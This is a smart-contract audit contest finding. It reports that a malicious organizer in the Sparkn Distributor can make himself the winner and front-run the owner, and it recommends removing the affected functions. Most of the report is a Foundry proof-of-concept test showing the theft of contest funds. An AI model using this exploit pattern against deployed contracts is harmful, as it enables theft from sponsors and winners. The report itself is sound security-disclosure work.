Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Distributor.sol#_distribute() - Malicious organizer can claim all tokens for himself.

0xdeth

Summary

Malicious organizer can claim all tokens for himself.

Vulnerability Details

Only the owner and organizer can call distribute funds, through the following functions: deployProxyAndDistribute, deployProxyAndDistributeBySignature, deployProxyAndDistributeByOwner, distributeByOwner.

Now, if we have a malicious organizer, he can easily call deployProxyAndDistribute and inside the bytes data set himself or some of his addresses as one of the winners. This way he can easily steal funds from sponsors and real winners.

Even if the owner recognizes that the organizer has become malicious and attempts to call deployProxyAndDistributeByOwner, the organizer can easily front run him and revert his transaction.

Impact

Loss of funds for both sponsors and winners.

POC:

Paste the following inside test/ProxyFactoryTest.sol and run forge test --mt testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners -vvvv

// This is the function tha we will use to craft the malicious data
// that will be sent the Distributor
function createMalData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
@> // The organizer will set himself as a winner
@> winners[0] = organizer;
// Setting the highest percentage possible, so he can get the most amount of tokens.
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
}
// This is the actual attack.
function testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners() public setUpContestForJasonAndSentJpycv2Token(organizer) {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
​
// The organizer's balance before
uint256 organizerBalanceBefore = MockERC20(jpycv2Address).balanceOf(organizer);
​
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
// Here the malicious organizer will craft malicious data and will set himself as one of the winners.
bytes memory malData = createMalData();
​
// We warp a lot of time, just to showcase that the organizer can front run the factoryAdmin (owner).
// In realitiy a malicious organizer will steal the funds immediatly after the claim time has been reached
vm.warp(20 days);
​
// The owner attempts to distribute the tokens correctly, but the organizer front runs him
vm.prank(organizer);
proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), malData);
​
// The factoryAdmin (owner) tx's goes through and reverts
vm.expectRevert();
bytes memory realData = createData();
vm.prank(factoryAdmin);
proxyFactory.deployProxyAndDistributeByOwner(organizer, randomId_, address(distributor), realData);
​
// Even if the factoryAdmin (owner) attempts to call distributeByOwner, there will be no tokens left to distribute.
// and the tx will revert.
bytes32 salt = keccak256(abi.encode(organizer, randomId_, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.expectRevert();
vm.prank(factoryAdmin);
proxyFactory.distributeByOwner(proxyAddress, organizer, randomId_, address(distributor), realData);
​
// The organizer's balance after
uint256 organizerBalanceAfter = MockERC20(jpycv2Address).balanceOf(organizer);
// The organizer received all the funds from the sponsor
assertGt(organizerBalanceAfter, organizerBalanceBefore);
assertEq(MockERC20(jpycv2Address).balanceOf(organizer), organizerBalanceBefore + 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
// user1, who was an actual winner gets no funds.
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
}

Tools Used

Manual review
Foundry

Recommendations

The only way to completely mitigate this issue is to remove both deployProxyAndDistribute and deployProxyAndDistributeBySignature as both can be used maliciously. This is a big change, but in order to protect funds I believe this is necessary.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.